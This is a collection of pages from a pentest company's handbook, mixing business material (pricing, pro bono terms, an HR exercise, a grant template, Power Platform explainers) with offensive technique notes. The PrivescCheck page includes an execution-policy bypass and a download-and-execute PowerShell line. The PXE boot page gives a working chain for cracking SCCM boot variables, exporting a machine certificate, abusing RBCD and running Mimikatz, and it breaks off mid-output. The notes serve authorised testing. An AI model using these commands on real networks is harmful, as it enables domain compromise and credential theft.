--- # Pentesting Sample Reports --- --- url: 'https://handbook.syslifters.com/pentesting-manual/physical-security.md' description: >- A collection of ideas for assessing physical security around offices, devices, documents, and access control. --- # Physical security We prefer not to trick people and manipulate people to demonstrate the need for physical security measures. This damages peoples trust and goodwill, doesn't deliver statistically significant results and strongly depend on the pentester's personality and capabilities (thus, rather testing the pentesters capabilities than the victims' awareness). Following our approach on whitebox testing, we created a brainstormed list for customers with the need of physical assessments. ## Brainstorming You can suggest the following ideas to our customer and follow their requirements and whishes. * **Access cards** * Technology / copying of access cards * Porter / access during day & night * Handling of guests * Handling of suppliers (craftsmen/cleaning/etc.) * **Securing the building and office rooms** * Alarm system * **Network ports and devices** * Printers * Info screens * Cameras * Integration into the network (802.1X / configuration / management) * **Protection of work devices against physical access** * Hard drive encryption * PIN * **Access to sensitive areas** * Network cabinets / server rooms (if available) * Safes * **Access to sensitive documents** * Filing cabinets * Clean desk * Clean screen * Disposal of documents * In the office * Waste rooms * Disposal of storage media and devices * Document shredding * External storage media * **Wi‑Fi** * Client Wi‑Fi * Guest Wi‑Fi * **Employee identification** --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/power-platform-dataverse.md description: >- What Dataverse is, when to use it, and a practical overview of the Dataverse security model and common pitfalls. --- # Power Platform Dataverse ## What is Microsoft Dataverse (in context) Microsoft Dataverse is a cloud-based data storage and management platform (previously known as Common Data Service). It provides a secure, scalable, relational database designed to integrate with Power Apps, Power Automate, Power BI, and Power Virtual Agents. It’s essentially Microsoft’s "data backbone" for the Power Platform. ## Why you might use Dataverse You’d use Dataverse when you need: 1. A unified, structured data model (similar to SQL tables) shared across multiple Power Platform apps. 2. Data security and governance — role-based security, auditing, compliance, and integration with Azure Active Directory. 3. Relational data — handling complex data with relationships (one-to-many, many-to-many) and business logic. 4. Integration — native connection to Dynamics 365, Microsoft 365, and Azure. 5. Offline and mobile support — Power Apps using Dataverse can work offline and sync automatically. ## Scenario 1 – Using Dataverse Example: company helpdesk system * Power Apps: to create a mobile/web app for employees to submit support tickets. * Power Automate: to send notifications when a ticket is created or assigned. * Power BI: to report on ticket resolution times and trends. Dataverse’s role: * Stores structured data like `Tickets`, `Employees`, `Departments`, `Comments`. * Manages relationships (e.g., one department → many employees). * Provides built-in security so employees only see their own tickets. * Supports business rules, data validation, and lookup columns. ## Scenario 2 – Without Dataverse Example: simple vacation request automation * Power Apps: simple form for submitting vacation requests. * Power Automate: saves to Excel in SharePoint and sends approval emails. Storage: Excel/SharePoint lists/OneDrive instead of Dataverse. Why it works without Dataverse: * Simple data model (few columns, no complex relationships). * Lower compliance/security needs. * Cheaper — no Dataverse/premium connector licensing required. ## Key differences: Dataverse vs external storage | Feature / need | Dataverse | Without Dataverse (e.g., SharePoint, Excel, SQL) | | --- | --- | --- | | Complex relationships | Yes | Difficult | | Role-based security | Built-in | Manual setup | | Data validation & business rules | Built-in | Manual or missing | | Offline support (Power Apps) | Yes | No | | Integration with Dynamics 365 | Native | Limited | | Cost | Requires premium licensing | Cheaper / free | | Scalability | Enterprise-grade | Limited | ## Rule of thumb * Use Dataverse when you need a robust, secure, multi-app data model that multiple Power Platform services will rely on. * Use other storage (like SharePoint or Excel) for simple, low-cost automations and single-purpose apps. ## Dataverse security model overview Dataverse uses a role-based security model that combines: 1. User accounts (from Azure AD / Microsoft 365) 2. Security roles (what actions you can take) 3. Access levels (how broadly you can act) 4. Team membership (shared roles or ownership) 5. Record ownership (who owns the data) 6. Hierarchical and field-level permissions (optional refinements) Permissions can be controlled: * At the environment level * At the table level * At the record level * At the field level ### Environment access Before you can use Dataverse you need: * A valid Power Apps or Dynamics license, and * Access to the environment that contains the Dataverse database. ### Security roles Security roles define what you can do in Dataverse (e.g., read, write, delete) and how broadly (own records vs all records). Common actions: Create, Read, Write, Delete, Append, Append To, Share, Assign. ### Access levels (scopes) | Access level | Description | | --- | --- | | None | No access at all | | User | Only records you own or are shared with you | | Business Unit | All records in your business unit | | Parent: Child Business Unit | Your business unit and its subunits | | Organization | All records in the environment | ### Teams Teams can be used to inherit security roles: * Owner team: owns records, can have security roles assigned directly * Access team: temporary shared access to specific records * Azure AD group team: membership synced from Azure AD groups ### Record ownership and sharing Each record has an owner (user or team). Owners can share records with others (e.g., read-only). ### Field-level security Dataverse supports Field Security Profiles for sensitive fields to control read/update/create at the column level. ### Hierarchical security (optional) Optional hierarchy-based access (e.g., managers can see their team’s data) using manager/position hierarchies. ## Predefined security roles Every Dataverse environment includes standard roles you can build on: * System Administrator * System Customizer * Basic User * Environment Maker (environment-wide role, not a Dataverse role) --- --- url: >- https://handbook.syslifters.com/pentesting-manual/power-platform/power-platform-environments.md description: >- What environments are, how they relate to Dataverse, and common environment types and governance notes. --- # Power Platform environments ## What is a Power Platform environment? A Power Platform Environment is like a container or boundary for your Power Platform resources. Think of it as a workspace that holds: * Power Apps * Power Automate flows * Power BI datasets (linked) * Power Virtual Agents * Dataverse databases * Connections and connectors * Permissions and user roles Each environment is isolated from others — data, apps, and users do not cross environments unless you explicitly allow it. ## Why environments exist Environments help you separate: 1. Development, testing, and production (Dev/Test/Prod lifecycle) 2. Business units or regions (e.g., Europe vs. US) 3. Security boundaries (e.g., HR apps vs. Finance apps) 4. Governance and compliance (specific policies per environment) They also determine which Dataverse database you’re connected to — each environment can have its own Dataverse instance (or none at all). ## How environments work with Dataverse * Every Dataverse database belongs to one environment. * An environment can have one Dataverse database. * Apps and automations in that environment use that database by default. * Power BI, Automate, and Virtual Agents can also connect to it. ## Example scenario Imagine your company is deploying a Helpdesk app using the Power Platform: | Environment | What’s inside | Dataverse use | | --- | --- | --- | | Development | Power App draft, test flows | Stores test data in Dev Dataverse | | Test | QA app copy, user acceptance testing | Separate Dataverse for test data | | Production | Final app used by employees | Live Dataverse storing real tickets | Result: you can build, test, and deploy safely — each environment keeps its apps, data, and users isolated. ## How to use environments practically ### Create environments * In the Power Platform Admin Center (`admin.powerplatform.microsoft.com`), admins can create new environments. * You can choose to include a Dataverse database or not. ### Assign users and permissions * Each environment has security roles. * You can assign users as Environment Admins (manage environment and users in it), Makers (build and share apps) or Users (use apps). * Users or groups assigned to these environment roles aren't automatically given access to the environment's database (Dataverse - if it exists) and must be given access separately. ### Build and deploy * Build your app in the Dev environment. * Export it as a solution and import it into Test, then Prod. * This allows version control and change management. ## Environment types [Power Platform environment types - Power Platform](https://learn.microsoft.com/en-us/power-platform/admin/environments-overview?tabs=new#environment-types) * **Production** (Security - Full Control) * Intended for permanent work in an organization. * **Default** (Security - Limited Control. All licensed users have the environment maker role.) * Intended for experimentation and lightweight development. No backup guarantees, not for production workloads. * **Sandbox** (Security - Full control) * Nonproduction environment that supports copy/reset; commonly used for development and testing. * **Trial** (Security - Full Control) * Short-term testing; expires after 30 days; limited to one per user. * **Developer** (Security - Limited control) * Created by users with the Developer Plan license; special environment intended only for the owner. * **Microsoft Dataverse for Teams** (Security - Limited control) * Created for a Team when building in Teams; limited admin controls; security roles are mapped from Teams membership. --- --- url: 'https://handbook.syslifters.com/organization/human-resources/pre-mortem.md' description: >- Imagine leaving Syslifters one year from now and surface risks, blind spots, and improvements before they become real problems. --- # Why I left - a pre mortem exercise In "pre mortem" exercises, we imagine a future failure that has happened. They help us identify risks and blind spots to avoid that failure.\ Take 30 minutes of your time for the following exercise. ::: tip Why I left Fast-forward one year into the future.\ You're done with Syslifters.\ You write your resignation letter. Explain in detail what drove you to leave. ::: The letter is personal. Nobody has to read it. We would appreciate if you presented our group the key reasons why your future you left us and how we can improve our company, our collaboration, your satisfaction. --- --- url: 'https://handbook.syslifters.com/de/pricing.md' description: >- Preisgestaltung für Pentests inkl. Tagsatz, Richtwerte, Rabatte und Partnerhinweise. --- # Pricing Wenn ein echter Angreifer mehr Zeit aufwendet als ein Pentester, könnte er Sicherheitslücken finden, die der Tester zuvor nicht gefunden hat. Das ist das Timebox-Prinzip. Deshalb werden (seriöse) Pentests immer nach zeitlichem Aufwand (meist in Personentagen) verrechnet. Ein Personentag kostet bei uns € 1.600,-. Ab 20 Personentagen geben wir 15% Rabatt (€ 1.360,-). ## Und was kostet ein Pentest jetzt wirklich? Den Aufwand für einen Test schätzen wir vorab in einem Scoping-Termin (mehr Informationen dazu findet ihr unter [Vor dem Pentest](vor-pentests.md)). Hier sind ein paar Orientierungshilfen, womit ihr in der Regel rechnen könnt. * **Webanwendung**: € 5.000-16.000 * **Microsoft Active Directory**: € 12.000-20.000 * **Externe Infrastruktur**: € 8.000-11.000 ## Rabatte * Ab 20 Personentagen geben wir 15% Rabatt. * Im Academia-Bereich bieten wir einen sehr attraktiven Tagsatz von € 1.200,-. * Wir bieten unsere Leistungen kostenlos im Zuge unseres [Pro Bono-Programms](pro-bono-pentests.md) an. Ansonsten bitten wir um Verständnis, dass wir keine Rabatte gewähren. Das Verhandlungstalent soll nicht preisbestimmend sein. Im Gegenzug könnt ihr von uns volle Fairness und Transparenz erwarten. ## Partner Wenn wir eine Leistung einmal nicht anbieten können, empfehlen wir gerne kompetente Unternehmen weiter. So freuen wir uns auch, wenn wir von anderen empfohlen werden. Wir verrechnen für Weiterempfehlungen **niemals** eine Recommendation-Fee, oder eine sonstige Gebühr. Genauso bezahlen wir auch keine Gebühren für Weiterempfehlungen. Damit basieren unsere Weiterempfehlungen immer auf der Qualität der empfohlenen Firma und nicht auf der Gebühr. Schließt ein Security-Unternehmen einen Vertrag direkt mit dem Endkunden und beauftragt uns als Subunternehmer, verrechnen wir 85% vom Endkundenpreis, zumindest jedoch einen Tagsatz von € 1000,-. Unser Partner ist dann dafür verantwortlich, die Bestimmungen aus unserer [Servicebeschreibung](/de/servicebeschreibung.md) an den Endkunden zu überbinden. --- --- url: 'https://handbook.syslifters.com/pricing.md' description: >- Pricing model for pentests, including day rates, typical project ranges, and discount rules. --- # Pricing If a real attacker spends more time than a pentester, he might find vulnerabilities that the tester did not find before. This is the timebox principle. That's why (serious) pentests are always charged according to time spent (usually in person-days). One person-day costs € 1.600,-. From 20 person-days we give a 15% discount (€ 1.360,-). ## And what does a Pentest really cost now? We estimate the effort for a pentest in advance in a scoping meeting (for more information, see [Before the pentest](before-pentests.md)). Here are a few guidelines on what you can usually expect. * **Web Applications**: € 5.000-16.000 * **Microsoft Active Directory**: € 12.000-20.000 * **External Infrastructure**: € 8.000-11.000 ## Discounts * From 20 person days we give a 15% discount. * In the Academia area we offer a very attractive daily rate of € 1.200,-. * We provide our services for free within our [pro bono programme](pro-bono-pentests.md). Otherwise, we ask for your understanding that we do not grant discounts. Negotiating talent should not be a price-determining factor. In return, you can expect full fairness and transparency from us. ## Partner If we are unable to offer a service, we are happy to recommend competent companies. We are also pleased when we are recommended by others. We never **charge** a recommendation fee or any other fee for recommendations. Likewise, we do not pay any fees for referrals. This means that our recommendations are always based on the quality of the recommended company and not on the fee. If a security company concludes a contract directly with the end customer and engages us as a subcontractor, we charge 85% of the end customer's price, but at least a daily rate of € 1000. Our partner is then responsible for passing on the provisions from our [service description](/service-description.md) to the end customer. --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/privilege-escalation/privesc-check.md description: >- Running PrivescCheck to enumerate local privilege escalation opportunities on a Windows host. --- # PrivescCheck [PrivescCheck](https://github.com/itm4n/PrivescCheck) is a single-file PowerShell script that enumerates common local privilege escalation paths and configuration weaknesses on a Windows host. It bundles checks for unquoted service paths, weak service / scheduled task / file ACLs, writable PATH entries, `AlwaysInstallElevated`, credential material in the registry / unattend files / user dirs, vulnerable driver presence (`loldrivers.io`), UAC and LSA settings, hardening misconfigurations, and a long list of post-exploitation tidbits. Output goes to stdout and optionally to TXT / HTML / CSV / XML report files. ::: warning Run as a standard user All access-control checks run in the context of the current user. If you launch it as administrator, most vulnerability checks are skipped to avoid false positives. Use `-Force` only if you knowingly want to enumerate the host as admin (typically for the `-Audit` use case below). ::: ## Usage Drop `PrivescCheck.ps1` on the host and dot-source it. The three common invocations: ```powershell # 1. Pentest: quick "is there an obvious LPE here?" pass powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck" # 2. Research / post-ex: extended checks + readable report powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML" # 3. Config audit: every check, every report format powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report PrivescCheck_$($env:COMPUTERNAME) -Format TXT,HTML,CSV,XML" ``` Useful flags: * `-Extended`: extra post-exploitation / recon checks (installed software, network info, etc.). * `-Audit`: configuration-hardening checks that go beyond pure LPE. * `-Experimental`: opt-in unstable checks. * `-Risky`: include checks likely to trip EDR. Skip on engagements with active monitoring. * `-Silent`: no terminal output, write the report only. Handy when running through a beacon, scheduled task, or Meterpreter session. * `-Format TXT,HTML,CSV,XML`: pick any combination. HTML is the most useful for triage (sortable, filterable); CSV / XML feed automated report tooling. ## Loading the script when execution policy blocks it The `-ep bypass` flag covers most cases, but a GPO-enforced execution policy will ignore it. Read the file in and pipe it through `Invoke-Expression`: ```powershell Get-Content .\PrivescCheck.ps1 | Out-String | Invoke-Expression Invoke-PrivescCheck ``` If even file access is restricted, fetch and execute in memory: ```powershell IEX (New-Object Net.WebClient).DownloadString('https://github.com/itm4n/PrivescCheck/releases/latest/download/PrivescCheck.ps1') Invoke-PrivescCheck ``` --- --- url: 'https://handbook.syslifters.com/de/pro-bono-pentests.md' description: >- Pro-Bono-Pentestprogramm - Voraussetzungen, Erwartungen, verpflichtende Retests und Kontakt. --- # Pro Bono Pentests Unser Unternehmen hat sich zum Ziel gesetzt, pro Quartal ein Pro-Bono-Projekt durchzuführen. ## Für wen sind unsere Pro Bono Pentests gedacht? * Nur Nichtregierungsorganisationen (NGOs) und gemeinnützige Organisationen (NPOs) * Unsere Pentests müssen einen Mehrwert bieten (z. B. kein Pentesting von Systemen mit geringem Risiko) * Entdeckte Schwachstellen mit hohem oder kritischem Risiko *müssen* innerhalb von acht Wochen behoben werden * Retests von behobenen Schwachstellen sind innerhalb von acht Wochen obligatorisch (wir führen kostenlose Retests durch) * IT-Abteilung (intern oder ausgelagert), die die gemeldeten Schwachstellen versteht und in der Lage ist, sie zu beheben * Werft dazu einen Blick auf unsere [Demo-Berichte](/de/pentesting-demo-reports), ob das der Fall ist * Zeitliche Flexibilität * Wir legen gemeinsam einen Zeitrahmen fest (z.B. einen Monat), in dem wir das Projekt abliefern werden * Bitte habt Verständnis dafür, dass wir nicht wie bei unseren kommerziellen Kunden eine Durchführung innerhalb eines festen Zeitraums (z.B. in einer bestimmten Woche) garantieren * Ihr gewährt uns rechtzeitig Zugang zu Systemen (wie Netzwerkzugang, Benutzer, etc.) * Wir dürfen unsere Zusammenarbeit mit eurem Logo veröffentlichen (ohne Ergebnisse oder andere vertrauliche Informationen) * Wir bevorzugen laufende Kooperationen gegenüber einmaligen Pentests ## Was ihr erhält * Einen kompetenten Partner für offensive IT-Sicherheit * Kostenlose Pentests * Informationsaustausch, Informationen über Schwachstellen, etc. * Schriftliche Berichte im PDF-Format (Englisch oder Deutsch) * Strenge Geheimhaltung aller erhaltenen Informationen und Schwachstellen-Details * Ihr werdet behandelt wie jeder andere Kunde, der für unsere Dienstleistungen bezahlt (wir erwarten nur mehr zeitliche Flexibilität) * Remote-Pentests (aus dem Internet) * Wenn wir einmal zustimmen, vor Ort zu kommen, zahlt ihr für Reise und Unterkunft. ## Interessiert? Nehmt Kontakt mit uns auf! +43 660 923 40 60 (bevorzugt Signal Messenger)\ aron@syslifters.com ( S/MIME [cer](/assets/aron.cer)/[pem](/assets/aron.pem){target="\_blank" rel="noreferrer"}) --- --- url: 'https://handbook.syslifters.com/pro-bono-pentests.md' description: >- Pro bono pentest program - eligibility, expectations, retesting requirements, and how to apply. --- # Pro Bono Pentests ## Who our Pro Bono Pentests are for * Non Governmental Organisations (NGOs) and Non Profit Organizations (NPOs) only * Our pentests must make a difference (e.g. no pentesting of systems without severe risks) * Detected vulnerabilities with high or critical risk *must* be resolved within eight weeks * Re-tests of resolved issues are mandatory within eight weeks (we re-test for free) * IT department (inhouse or outsourced) that understands and is able to tackle reported vulnerabilities * Take a look at our [demo reports](/pentesting-sample-reports) whether you can * Flexibility in time * We define a time frame together (e.g. one month) in which we will deliver the project * Please understand that we do not guarantee execution within a fixed period of time (e.g. in a certain week), as we do for our commercial customers * You grant us access to systems (like network access, users, etc) in a timely manner * We are allowed to publish our cooperation incl. your logo (excl. any results or other confidential information) * We prefer ongoing cooperations over one-time pentests ## What you receive * A compentent partner in offensive IT security * Pentests for free * Calls for information exchange, vulnerability information, etc. * Written reports in PDF format (English or German) * Strict secrecy of any obtained information and vulnerability details * You will be treated like any other customer who pays for our services (we expect more flexibility in time only) * Remote pentests (from the Internet) If we once agree to come onsite, you pay for travel and accommodation. ## Interested? Get in touch! +43 660 923 40 60 (Signal Messenger preferred)\ aron@syslifters.com ( S/MIME [cer](/assets/aron.cer)/[pem](/assets/aron.pem){target="\_blank" rel="noreferrer"}) --- --- url: >- https://handbook.syslifters.com/organization/human-resources/project-retention.md description: >- Keep local pentest project files only as long as needed. Set up Project Sense to delete stale data after 90 days. --- # Project retention Customer and project data on your machine should not outlive its purpose. The [Pentest operation rules](/pentesting-manual/operation-rules) suggests a dedicated directory for local pentest files. Delete anything you no longer need. ## Project Sense [Project Sense](https://gitlab.internal.syslifters.com/tools/project-sense) is a small tool for Windows, Linux, and macOS that watches configured directories and deletes stale content. It runs on a schedule and writes a log of what it deleted, skipped, or kept. Each direct child folder of an observation root counts as one **project folder**. The tool deletes a project folder when all files inside are older than `MaxAgeDays` (90 by default), or when the folder is empty. To keep a project longer, place an empty `SKIP_DELETION` file in the project folder root. The folder is then skipped until you remove that file. Delete this flag file if the project is no longer needed. ## Setup ### Windows 1. Clone the repository and open `config.json`. 2. Set `ObservationRoots` to the directory where you store pentest projects (absolute path). 3. Set `Logfile` to an absolute path where you want the run log (e.g. `C:\Logs\ProjectSense.log`). 4. Leave `MaxAgeDays` at `90` unless agreed otherwise with the team. 5. Test without deleting: ```powershell powershell -NoProfile -ExecutionPolicy Bypass -File scripts\ProjectSense.ps1 -ConfigPath config.json -WhatIf ``` 6. Run once manually to confirm the log looks right: ```powershell powershell -NoProfile -ExecutionPolicy Bypass -File scripts\ProjectSense.ps1 -ConfigPath config.json ``` 7. Register automatic runs at login: open `shell:startup`, create a shortcut with this target (adjust paths): ``` powershell.exe -ep Bypass -WindowStyle hidden C:\Path\To\ProjectSense\scripts\ProjectSense.ps1 -ConfigPath C:\Path\To\ProjectSense\config.json ``` Check the log file after the first scheduled run. Full configuration options and troubleshooting are in the [repository README](https://gitlab.internal.syslifters.com/tools/project-sense/-/blob/master/README.md). ### Linux Prerequisites: `bash`, `jq`, and optionally `notify-send` for desktop notifications. ```bash chmod +x scripts/project-sense.sh ./scripts/project-sense.sh --config config.json --what-if # dry run ./scripts/project-sense.sh --config config.json # run for real ``` Register a daily cron job, for example at 11:00. Use absolute paths: ```cron 0 11 * * * /full/path/to/scripts/project-sense.sh --config /full/path/to/config.json ``` See [`config.example.json`](https://gitlab.internal.syslifters.com/tools/project-sense/-/blob/master/config.example.json) in the repository for path examples. ### macOS Prerequisites: `bash`, `jq`. Cron jobs are unreliable on macOS, so use the LaunchAgent template in the repository instead. Install Project Sense outside protected folders (`~/Documents`, `~/Desktop`, `~/Downloads`), for example `~/ProjectSense`. The same applies to `Logfile` and `ObservationRoots` in `config.json`. 1. Test without deleting: ```bash chmod +x scripts/project-sense.sh ./scripts/project-sense.sh --config config.json --what-if ``` 2. Run once manually to confirm the log looks right: ```bash ./scripts/project-sense.sh --config config.json ``` 3. Edit [`launchd/com.project-sense.plist`](https://gitlab.internal.syslifters.com/tools/project-sense/-/blob/master/launchd/com.project-sense.plist): set the script and config paths. Keep `WorkingDirectory` as `/tmp`. 4. Install and load the LaunchAgent: ```bash cp launchd/com.project-sense.plist ~/Library/LaunchAgents/ launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.project-sense.plist ``` 5. Trigger a test run: ```bash launchctl kickstart -k gui/$(id -u)/com.project-sense ``` The job runs daily at 11:00 while you are logged in. Debug output goes to `/tmp/project-sense.launchd.err.log`. After changing the plist, reload it: ```bash launchctl bootout gui/$(id -u)/com.project-sense launchctl bootstrap gui/$(id -u) ~/Library/LaunchAgents/com.project-sense.plist ``` If the job fails, check the err log, use absolute paths everywhere, ensure the plist `PATH` includes `/opt/homebrew/bin` if you use Homebrew. See [`config.example.json`](https://gitlab.internal.syslifters.com/tools/project-sense/-/blob/master/config.example.json) in the repository for path examples. ## Before you rely on it * Store pentest files only under your configured observation root(s). * Run with `-WhatIf` / `--what-if` after changing `config.json` or moving projects. * Review the log when a project you expected to keep was deleted (usually the newest file was still within 90 days, or `SKIP_DELETION` was missing). * Remove customer data from other locations manually; Project Sense only watches the paths you configure. --- --- url: 'https://handbook.syslifters.com/de/kmu-cybersecurity-web-pentest.md' description: >- CC BY Vorlage für einen Projektantrag zur AWS-Förderung KMU.Cybersecurity für einen Web-Pentest. --- ???+ abstract "Über dieses Dokument" ``` Dies ist ein Projektantrag für die Förderung KMU.Cybersecurity der AWS für einen Pentest einer Web-Applikation. Das Dokument ist lizenziert unter CC BY 4.0. Bei Weitergabe des Dokuments ist die Namensnennung des Erstellers (Syslifters GmbH) erforderlich. Bei der Einreichung des Förderantrags bei AWS verzichten wir auf die Namensnennung. Vor der Einreichung das Dokument bitte auf verbliebene "`todos`" prüfen. Wir leisten keine Garantie für die Gewährung einer Förderung. Verwendung unter eigenem Risiko und eigener Verantwortung. Unseren Kunden helfen wir gerne mit der gesamten Förderabwicklung. Das Dokument darf verändert und kommerziell genutzt werden. ``` ## Ausgangssituation Die zunehmende Digitalisierung auch unseres Unternehmens hat zur Folge, dass Cyberangriffe ein wachsendes Schadenspotenzial aufweisen. Die allgemeine Gefährdungslage erhöht sich insbesondere durch die hohe Anzahl an Fällen von Ransomware und Datendiebstählen. Diese stellen auch für unser Unternehmen ein zunehmendes Risiko dar. Aufgrund dessen ist es für uns essenziell, in unsere eigene Cybersicherheit zu investieren. Unsere Security-Strategie basiert auf folgenden drei Schritten: 1. Vermeiden: Cyberangriffe verhindern bevor sie passieren 2. Identifizieren: Cyberangriffe erkennen, wenn sie passieren 3. Reagieren: Angemessene Reaktion auf identifizierte Cyberangriffe Unsere höchste Priorität in der Vorbereitung auf Cyberangriffe ist Schritt 1: die Vermeidung. Wir sehen uns in der Verantwortung, Hackerangriffe proaktiv zu verhindern. Dafür haben wir organisationsintern bereits ein Maßnahmenbündel umgesetzt, darunter `[todo: nicht Zutreffendes streichen]`: Review und Aktualisierung eingesetzter Softwarestände, Review und Säuberung nicht mehr benötigter Benutzer, Einsatz von 2-Faktor-Authentifizierung (insbesondere für Benutzer mit erhöhten Berechtigungen). Ein weiterer wichtiger Schritt für unsere Organisation ist nun die Durchführung einer Sicherheitsüberprüfung (Penetration-Test, oder Pentest) unserer wichtigsten Web-Applikation, `[todo: Namen der Applikation einfügen]`, die die folgenden Funktionalitäten bereitstellt: `[todo: Funktionen der Applikation einfügen]`. ## Zielsetzung Der Projektgegenstand ist die Durchführung eines Pentests der Web-Applikation durch die Sicherheitsexperten der `[todo: Anbieter einfügen]`. Das Ziel ist das Finden von technischen Risiken und Schwachstellen im Zielsystem. Das Angriffsszenario umfasst sowohl Angriffe durch Benutzer ohne besondere Berechtigungen und Vorwissen, als auch Angriffe durch authentifizierte Benutzer (Kunden oder Mitarbeiter) `[todo: ggf anpassen]`. Der Projektzeitraum ist auf `[todo: Personentage]` Personentage limitiert und verfolgt (wie alle Pentests) einen „Time-Box"-Ansatz. Dies bedeutet, dass ein echter Angreifer, der mehr Zeit in einen Angriff zur Aufdeckung von Schwachstellen in den Zielsystemen investiert, potenziell auch mehr Schwachstellen entdecken kann. Um die Effizienz des Pentests zu erhöhen, streben wir einen aktiven Informationsaustausch mit den Pentestern an und stellen ihnen sowohl umfassende Informationen über die Zielsysteme, als auch vorkonfigurierte Benutzer und Berechtigungen zur Verfügung („Grey-Box"-Ansatz) `[todo: ggf anpassen]`. Maßnahmen zur absichtlichen Beeinträchtigung der Verfügbarkeit der Zielsysteme (Denial of Service/DoS, Distributed Denial of Service/DDoS) sind nicht Ziel des Projekts. ## Ergebnis Das Ergebnis des Projekts ist ein schriftlicher Bericht der Security-Experten der `[todo: Anbieter einfügen]`, der identifizierte Schwachstellen und Risiken auflistet und beschreibt, sowie Maßnahmenempfehlungen zur Vermeidung oder Mitigierung der Risiken beinhaltet. Unser Unternehmen wird sodann die Risiken im Geschäftskontext evaluieren und beheben. Abhängig von der Umsetzbarkeit, sowie des Kosten-Nutzen-Aufwands können Risiken auch akzeptiert werden. Schwachstellen und Risiken können etwa rein technischer Natur sein (etwa Injections, Cross-Site-Scripting, etc.), Fehler der Business-Logik (wie etwa negative Endpreise, etc.), Autorisierungsfehler (z. B. ein regulärer Benutzer kann versteckte Administrations-Funktionen ausführen) oder Probleme in der Konfiguration der Software (etwa Debugging-Einstellungen). Unser Ziel ist es, alle Schwachstellen innerhalb von acht Wochen final zu adressieren `[todo: ggf anpassen]`. Die `[todo: Anbieter einfügen]` wird in der Folge die Behebungsmaßnahmen in Hinblick auf ihre Effektivität nachtesten. So können wir sicherstellen, dass alle Risiken tatsächlich wie geplant behoben wurden. `[todo: ggf streichen]` --- --- url: >- https://handbook.syslifters.com/pentesting-manual/active-directory/credential-access/pxe-boot.md description: PXE boot attack chain notes for extracting SCCM secrets and certificates. --- # PXE boot Using PXEThief from Syslifters Git repo: ## Prepare Hashcat ```sh cd hashcat_pxe/ git clone https://github.com/hashcat/hashcat.git git clone https://github.com/MWR-CyberSec/configmgr-cryptderivekey-hashcat-module cp configmgr-cryptderivekey-hashcat-module/module_code/module_19850.c hashcat/src/modules/ cp configmgr-cryptderivekey-hashcat-module/opencl_code/m19850* hashcat/OpenCL/ cd hashcat # change to 6.2.5 git checkout -b v6.2.5 tags/v6.2.5 make ``` ## Attack chain for getting SCCM PFX > If precious PXE tools like PXEThief or SharpPXE fail and you don't want to waste time patching, set up a port mirror on a switch, capture the traffic on a second machine and perform the actual PXE boot with your test device (and stop the process after a couple of seconds). Then continue here... When analyzing the traffic, we will hopefully find a `proxyDHCP ACK` containing option `243`. This option inhibits the path to the `boot.var` file, which includes setup-relevant variables. The path is encoded in HEX - just copy the value as ASCII. ![Captured DHCP requests in Wireshark](/images/pxe-dhcp-option-243-wireshark.png){width="auto"} Next, download the file from SCCM via TFTP (or extract it from the Wireshark capture if you got lucky): ```powershell $DP_HOST="192.168.0.1" $BOOT_PATH="\SMSTemp\path_to_boot.vim" tftp -i $DP_HOST GET $BOOT_PATH boot.var ``` ![Download boot.var via TFTP](/images/pxe-tftp-download-boot-var.png){width="auto"} Extract the hash used to encrypt `boot.var`: ```powershell .\pxethief.py 5 boot.var ``` ![Extract hash with PXEThief](/images/pxe-extract-boot-var-hash.png){width="auto"} Bruteforce the hash offline with the prepared Hashcat version to recover the password. ```powershell hashcat/hashcat -m 19850 --force -a 0 hash.txt /usr/share/wordlists/rockyou.txt ``` ![PXE boot password in cleartext](/images/pxe-boot-password-cleartext.png){width="auto"} Use the recovered password with PXEThief to decrypt variables. In this case it was possible to export the SCCM machine certificate (private key + password), enabling AD authentication as `SCCM$`. ```powershell .\pxethief.py 3 boot.var PASSWORD ``` ![Decrypting boot variables](/images/pxe-decrypt-boot-variables.png){width="auto"} ### Troubleshooting #### I don't receive the correct boot file name There are likely multiple scenarios leading to this outcome, but... When using WDS, it is possible to configure known hosts (also called client prestaging). This enforces either using the correct MAC address or machine GUID. If a client performs PXE boot, it can include this GUID as option `97` in the `proxyDHCP` request. This GUID can be read with `Get-CimInstance Win32_ComputerSystemProduct | Select UUID`. If our tools fail to correctly simulate the PXE boot, try the port mirroring option. ## Exported private key (no password) Using `pfx-remove-password.sh` from\ Download: [pfx-remove-password.sh](/assets/pfx-remove-password.sh) Remove the password protection from the exported `.pfx` file and use the new certificate (without a password) to start an LDAP shell as `SCCM1$`. ```powershell certipy auth -pfx "./sccm.nopassword.pfx" -dc-ip -ldap-shell ``` ## Abusing RBCD In this LDAP shell it is possible to configure resource-based constrained delegation (RBCD) on the computer object `SCCM1$`. This allows a computer account you control (e.g. `ATTACKER-NB$`) to impersonate any user towards `SCCM1$`. ```powershell # set_rbcd sccm$ attacker-notebook$ Found Target DN: CN=SCCM,OU=SCCM,OU=Servers,DC=xx,DC=xxx,DC=at Target SID: Found Grantee DN: CN=attacker-notebook,CN=Computers,DC=xx,DC=xxx,DC=at Grantee SID: Currently allowed sids: Delegation rights modified successfully! attacker-notebook$ can now impersonate users on sccm$ via S4U2Proxy ``` ### Get machine account NTLM hash with Mimikatz ```powershell .#####. mimikatz 2.2.0 (x64) #19041 Nov 8 2024 11:19:20 .## ^ ##. \"A La Vie, A L'Amour\" - (oe.eo) ## / \\ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com ) ## \\ / ## > https://blog.gentilkiwi.com/mimikatz '## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com ) '#####' > https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # privilege::debug Privilege '20' OK mimikatz # token::elevate Token Id : 0 User name : SID name : NT-AUTORITÄT\\SYSTEM 1072 {0;000003e7} 1 D 74937 NT-AUTORITÄT\\SYSTEM S-1-5-18 (04g,21p) Primary -> Impersonated ! * Process Token : {0;00ead5ba} 1 D 15396390 LAB\\Administrator S-1-5-21--500 (14g,24p) Primary * Thread Token : {0;000003e7} 1 D 15983651 NT-AUTORITÄT\\SYSTEM S-1-5-18 (04g,21p) Impersonation 